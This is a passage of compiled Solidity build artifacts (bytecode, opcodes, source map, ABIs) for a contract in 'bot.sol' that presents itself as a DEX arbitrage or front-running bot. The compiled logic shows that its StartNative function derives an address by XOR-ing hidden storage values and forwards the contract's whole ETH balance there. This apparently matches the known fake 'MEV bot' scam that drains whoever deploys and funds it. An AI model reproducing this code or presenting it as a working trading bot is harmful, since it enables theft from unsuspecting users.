"nodeType": "YulIdentifier",
"src": "1132:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1174:9:1"
},
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1185:6:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1167:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1167:25:1"
},
"nodeType": "YulExpressionStatement",
"src": "1167:25:1"
}
]
},
"name": "abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1091:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1102:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "1113:4:1",
"type": ""
}
],
"src": "1021:177:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1252:173:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1282:111:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1303:1:1",
"type": "",
"value": "0"
},
{
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1310:3:1",
"type": "",
"value": "224"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1315:10:1",
"type": "",
"value": "0x4e487b71"
}
],
"functionName": {
"name": "shl",
"nodeType": "YulIdentifier",
"src": "1306:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1306:20:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1296:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1296:31:1"
},
"nodeType": "YulExpressionStatement",
"src": "1296:31:1"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1347:1:1",
"type": "",
"value": "4"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1350:4:1",
"type": "",
"value": "0x11"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1340:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1340:15:1"
},
"nodeType": "YulExpressionStatement",
"src": "1340:15:1"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1375:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1378:4:1",
"type": "",
"value": "0x24"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1368:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1368:15:1"
},
"nodeType": "YulExpressionStatement",
"src": "1368:15:1"
}
]
},
"condition": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "1268:1:1"
},
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "1271:1:1"
}
],
"functionName": {
"name": "lt",
"nodeType": "YulIdentifier",
"src": "1265:2:1"
},
"nodeType": "YulFunctionCall",
"src": "1265:8:1"
},
"nodeType": "YulIf",
"src": "1262:131:1"
},
{
"nodeType": "YulAssignment",
"src": "1402:17:1",
"value": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "1414:1:1"
},
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "1417:1:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "1410:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1410:9:1"
},
"variableNames": [
{
"name": "diff",
"nodeType": "YulIdentifier",
"src": "1402:4:1"
}
]
}
]
},
"name": "checked_sub_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "x",
"nodeType": "YulTypedName",
"src": "1234:1:1",
"type": ""
},
{
"name": "y",
"nodeType": "YulTypedName",
"src": "1237:1:1",
"type": ""
}
],
"returnVariables": [
{
"name": "diff",
"nodeType": "YulTypedName",
"src": "1243:4:1",
"type": ""
}
],
"src": "1203:222:1"
}
]
},
"contents": "{\n { }\n function abi_decode_tuple_t_uint256(headStart, dataEnd) -> value0\n {\n if slt(sub(dataEnd, headStart), 32) { revert(0, 0) }\n value0 := calldataload(headStart)\n }\n function abi_encode_tuple_t_address_t_address_t_address_t_uint256__to_t_address_t_address_t_address_t_uint256__fromStack_reversed(headStart, value3, value2, value1, value0) -> tail\n {\n tail := add(headStart, 128)\n let _1 := sub(shl(160, 1), 1)\n mstore(headStart, and(value0, _1))\n mstore(add(headStart, 32), and(value1, _1))\n mstore(add(headStart, 64), and(value2, _1))\n mstore(add(headStart, 96), value3)\n }\n function abi_encode_tuple_t_stringliteral_9924ebdf1add33d25d4ef888e16131f0a5687b0580a36c21b5c301a6c462effe__to_t_string_memory_ptr__fromStack_reversed(headStart) -> tail\n {\n mstore(headStart, 32)\n mstore(add(headStart, 32), 32)\n mstore(add(headStart, 64), \"Ownable: caller is not the owner\")\n tail := add(headStart, 96)\n }\n function abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed(headStart, value0) -> tail\n {\n tail := add(headStart, 32)\n mstore(headStart, value0)\n }\n function checked_sub_t_uint256(x, y) -> diff\n {\n if lt(x, y)\n {\n mstore(0, shl(224, 0x4e487b71))\n mstore(4, 0x11)\n revert(0, 0x24)\n }\n diff := sub(x, y)\n }\n}",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea2646970667358221220b2c97e84c19ee300a0b832bc335d012fb15c5b6ef29077696efc71bdf72d9ef264736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x59 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x2B42B941 EQ PUSH2 0x65 JUMPI DUP1 PUSH4 0x57EA89B6 EQ PUSH2 0x87 JUMPI DUP1 PUSH4 0x9763D29B EQ PUSH2 0x9C JUMPI DUP1 PUSH4 0xBEDF0F4A EQ PUSH2 0xBC JUMPI DUP1 PUSH4 0xEAF67AB9 EQ PUSH2 0xD8 JUMPI DUP1 PUSH4 0xF39D8C65 EQ PUSH2 0xE0 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST CALLDATASIZE PUSH2 0x60 JUMPI STOP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x71 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x85 PUSH2 0x80 CALLDATASIZE PUSH1 0x4 PUSH2 0x2F3 JUMP JUMPDEST PUSH1 0x6 SSTORE JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x93 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x85 PUSH2 0x107 JUMP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xA8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x85 PUSH2 0xB7 CALLDATASIZE PUSH1 0x4 PUSH2 0x2F3 JUMP JUMPDEST PUSH1 0x5 SSTORE JUMP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xC8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x85 PUSH1 0x4 DUP1 SLOAD PUSH1 0xFF NOT AND SWAP1 SSTORE JUMP JUMPDEST PUSH2 0x85 PUSH2 0x170 JUMP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xEC JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xF5 PUSH2 0x178 JUMP JUMPDEST PUSH1 0x40 MLOAD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH1 0x0 SLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB AND CALLER EQ PUSH2 0x166 JUMPI PUSH1 0x40 MLOAD PUSH3 0x461BCD PUSH1 0xE5 SHL DUP2 MSTORE PUSH1 0x20 PUSH1 0x4 DUP3 ADD DUP2 SWAP1 MSTORE PUSH1 0x24 DUP3 ADD MSTORE PUSH32 0x4F776E61626C653A2063616C6C6572206973206E6F7420746865206F776E6572 PUSH1 0x44 DUP3 ADD MSTORE PUSH1 0x64 ADD JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST PUSH2 0x16E PUSH2 0x19D JUMP JUMPDEST JUMP JUMPDEST PUSH2 0x16E PUSH2 0x226 JUMP JUMPDEST PUSH1 0x3 SLOAD PUSH1 0x0 DUP1 SLOAD SWAP1 SWAP2 DUP3 SWAP2 PUSH2 0x197 SWAP2 SWAP1 PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB AND BALANCE PUSH2 0x30C JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 SLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB AND CALLER EQ PUSH2 0x1F7 JUMPI PUSH1 0x40 MLOAD PUSH3 0x461BCD PUSH1 0xE5 SHL DUP2 MSTORE PUSH1 0x20 PUSH1 0x4 DUP3 ADD DUP2 SWAP1 MSTORE PUSH1 0x24 DUP3 ADD MSTORE PUSH32 0x4F776E61626C653A2063616C6C6572206973206E6F7420746865206F776E6572 PUSH1 0x44 DUP3 ADD MSTORE PUSH1 0x64 ADD PUSH2 0x15D JUMP JUMPDEST PUSH1 0x40 MLOAD CALLER SWAP1 SELFBALANCE DUP1 ISZERO PUSH2 0x8FC MUL SWAP2 PUSH1 0x0 DUP2 DUP2 DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x223 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x235 PUSH1 0x8 SLOAD PUSH1 0x9 SLOAD XOR SWAP1 JUMP JUMPDEST SWAP1 POP PUSH1 0x0 PUSH2 0x246 PUSH1 0x7 SLOAD PUSH1 0x8 SLOAD XOR SWAP1 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH4 0xE26D7A7 PUSH1 0xE4 SHL DUP2 MSTORE CALLER PUSH1 0x4 DUP3 ADD MSTORE PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB DUP5 DUP2 AND PUSH1 0x24 DUP4 ADD MSTORE PUSH1 0x0 PUSH1 0x44 DUP4 ADD MSTORE SELFBALANCE PUSH1 0x64 DUP4 ADD MSTORE SWAP2 SWAP3 POP SWAP1 DUP3 AND SWAP1 PUSH4 0xE26D7A70 SWAP1 PUSH1 0x84 ADD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x2A0 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x2B4 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP PUSH1 0x40 MLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB DUP6 AND SWAP3 POP SELFBALANCE DUP1 ISZERO PUSH2 0x8FC MUL SWAP3 POP SWAP1 PUSH1 0x0 DUP2 DUP2 DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x2EE JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x305 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP CALLDATALOAD SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP3 DUP3 LT ISZERO PUSH2 0x32C JUMPI PUSH4 0x4E487B71 PUSH1 0xE0 SHL PUSH1 0x0 MSTORE PUSH1 0x11 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST POP SUB SWAP1 JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xB2 0xC9 PUSH31 0x84C19EE300A0B832BC335D012FB15C5B6EF29077696EFC71BDF72D9EF26473 PUSH16 0x6C634300080700330000000000000000 ",
"sourceMap": "6703:6356:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12472:137;;;;;;;;;;-1:-1:-1;12472:137:0;;;;;:::i;:::-;12554:22;:48;12472:137;;;12763:69;;;;;;;;;;;;;:::i;12204:136::-;;;;;;;;;;-1:-1:-1;12204:136:0;;;;;:::i;:::-;12283:23;:50;12204:136;12643:61;;;;;;;;;;;;12676:13;:21;;-1:-1:-1;;12676:21:0;;;12643:61;12043:76;;;:::i;12915:142::-;;;;;;;;;;;;;:::i;:::-;;;1167:25:1;;;1155:2;1140:18;12915:142:0;;;;;;;12763:69;7620:6;;-1:-1:-1;;;;;7620:6:0;7606:10;:20;7598:65;;;;-1:-1:-1;;;7598:65:0;;862:2:1;7598:65:0;;;844:21:1;;;881:18;;;874:30;940:34;920:18;;;913:62;992:18;;7598:65:0;;;;;;;;;12813:12:::1;:10;:12::i;:::-;12763:69::o:0;12043:76::-;12090:22;:20;:22::i;12915:142::-;13015:10;;12951:7;12997:6;;12951:7;;;;12989:36;;13015:10;-1:-1:-1;;;;;12997:6:0;12989:23;:36;:::i;:::-;12970:55;12915:142;-1:-1:-1;;12915:142:0:o;11532:100::-;7620:6;;-1:-1:-1;;;;;7620:6:0;7606:10;:20;7598:65;;;;-1:-1:-1;;;7598:65:0;;862:2:1;7598:65:0;;;844:21:1;;;881:18;;;874:30;940:34;920:18;;;913:62;992:18;;7598:65:0;660:356:1;7598:65:0;11577:51:::1;::::0;11585:10:::1;::::0;11606:21:::1;11577:51:::0;::::1;;;::::0;::::1;::::0;;;11606:21;11585:10;11577:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11532:100::o:0;10775:359::-;10827:19;10849:32;10862:9;;10873:7;;10649:46;;10517:187;10849:32;10827:54;;10899:20;10922:31;10935:6;;10943:9;;10649:46;;10517:187;10922:31;10972:92;;-1:-1:-1;;;10972:92:0;;11005:10;10972:92;;;468:34:1;-1:-1:-1;;;;;538:15:1;;;518:18;;;511:43;11038:1:0;570:18:1;;;563:43;11042:21:0;622:18:1;;;615:34;10899:54:0;;-1:-1:-1;10972:32:0;;;;;;402:19:1;;10972:92:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;11074:52:0;;-1:-1:-1;;;;;11074:29:0;;;-1:-1:-1;11104:21:0;11074:52;;;;;-1:-1:-1;11104:21:0;11074:52;;;;11104:21;11074:29;:52;;;;;;;;;;;;;;;;;;;;;10817:317;;10775:359::o;14:180:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;-1:-1:-1;165:23:1;;14:180;-1:-1:-1;14:180:1:o;1203:222::-;1243:4;1271:1;1268;1265:8;1262:131;;;1315:10;1310:3;1306:20;1303:1;1296:31;1350:4;1347:1;1340:15;1378:4;1375:1;1368:15;1262:131;-1:-1:-1;1410:9:1;;1203:222::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "174200",
"executionCost": "infinite",
"totalCost": "infinite"
},
"external": {
"Key()": "7193",
"SetTradeBalanceETH(uint256)": "22334",
"SetTradeBalancePERCENT(uint256)": "22290",
"StartNative()": "infinite",
"Stop()": "24394",
"Withdraw()": "infinite"
},
"internal": {
"estimateTriDexTrade(address,address,address,address,address,address,uint256)": "infinite",
"frontRun(address,address,address,address,uint256)": "infinite",
"getAmountOutMin(address,address,address,uint256)": "infinite",
"getBalance(address)": "infinite",
"getDexRouter(bytes32,bytes32)": "infinite",
"mempool(address,address,address,address,uint256)": "infinite",
"recoverEth()": "infinite",
"recoverTokens(address)": "infinite",
"startArbitrageNative()": "infinite",
"swap(address,address,address,uint256)": "infinite"
}
},
"methodIdentifiers": {
"Key()": "f39d8c65",
"SetTradeBalanceETH(uint256)": "9763d29b",
"SetTradeBalancePERCENT(uint256)": "2b42b941",
"StartNative()": "eaf67ab9",
"Stop()": "bedf0f4a",
"Withdraw()": "57ea89b6"
}
},
"abi": [
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "Key",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_tradingBalanceInPercent",
"type": "uint256"
}
],
"name": "SetTradeBalanceETH",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_tradingBalanceInTokens",
"type": "uint256"
}
],
"name": "SetTradeBalancePERCENT",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "StartNative",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"name": "Stop",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "Withdraw",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"stateMutability": "payable",
"type": "receive"
}
]
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "Key",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_tradingBalanceInPercent",
"type": "uint256"
}
],
"name": "SetTradeBalanceETH",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_tradingBalanceInTokens",
"type": "uint256"
}
],
"name": "SetTradeBalancePERCENT",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "StartNative",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"name": "Stop",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "Withdraw",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"stateMutability": "payable",
"type": "receive"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"bot.sol": "DexInterface"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
},
"sources": {
"bot.sol": {
"keccak256": "0x7d50bbf3bf1a70d79553aeb3cbd87c499122298ce955315de3dde22dc1dd28ba",
"license": "MIT",
"urls": [
"bzz-raw://0e1db754d9ce9d4606b453b9c839095ae62afc30d1fc372442348d1947745c00",
"dweb:/ipfs/Qmd6VV5TtjWvhjcFUTq1EesHnzSHqoRLTHa5LoEed9uoEV"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"gasEstimates": null,
"methodIdentifiers": {
"allowance(address,address)": "dd62ed3e",
"approve(address,uint256)": "095ea7b3",
"balanceOf(address)": "70a08231",
"createContract(address)": "e2d73ccd",
"createStart(address,address,address,uint256)": "e26d7a70",
"transfer(address,uint256)": "a9059cbb",
"transferFrom(address,address,uint256)": "23b872dd"
}
},
"abi": [
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Approval",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "from",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "to",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Transfer",
"type": "event"
},
{
"inputs": [
{
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"internalType": "address",
"name": "spender",
"type": "address"
}
],
"name": "allowance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "approve",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "_thisAddress",
"type": "address"
}
],
"name": "createContract",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "sender",
"type": "address"
},
{
"internalType": "address",
"name": "reciver",
"type": "address"
},
{
"internalType": "address",
"name": "token",
"type": "address"
},
{
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "createStart",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "recipient",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "sender",
"type": "address"
},
{
"internalType": "address",
"name": "recipient",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "transferFrom",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Approval",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "from",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "to",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Transfer",
"type": "event"
},
{
"inputs": [
{
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"internalType": "address",
"name": "spender",
"type": "address"
}
],
"name": "allowance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "approve",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "_thisAddress",
"type": "address"
}
],
"name": "createContract",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "sender",
"type": "address"
},
{
"internalType": "address",
"name": "reciver",
"type": "address"
},
{
"internalType": "address",
"name": "token",
"type": "address"
},
{
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "createStart",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "recipient",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "sender",
"type": "address"
},
{
"internalType": "address",
"name": "recipient",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "transferFrom",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"bot.sol": "IERC20"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
},
"sources": {
"bot.sol": {
"keccak256": "0x7d50bbf3bf1a70d79553aeb3cbd87c499122298ce955315de3dde22dc1dd28ba",
"license": "MIT",
"urls": [
"bzz-raw://0e1db754d9ce9d4606b453b9c839095ae62afc30d1fc372442348d1947745c00",
"dweb:/ipfs/Qmd6VV5TtjWvhjcFUTq1EesHnzSHqoRLTHa5LoEed9uoEV"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"gasEstimates": null,
"methodIdentifiers": {
"swap(uint256,uint256,address,bytes)": "022c0d9f",
"token0()": "0dfe1681",
"token1()": "d21220a7"
}
},
"abi": [
{
"inputs": [
{
"internalType": "uint256",
"name": "amount0Out",
"type": "uint256"
},
{
"internalType": "uint256",
"name": "amount1Out",
"type": "uint256"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "bytes",
"name": "data",
"type": "bytes"
}
],
"name": "swap",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "token0",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "token1",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [
{
"internalType": "uint256",
"name": "amount0Out",
"type": "uint256"
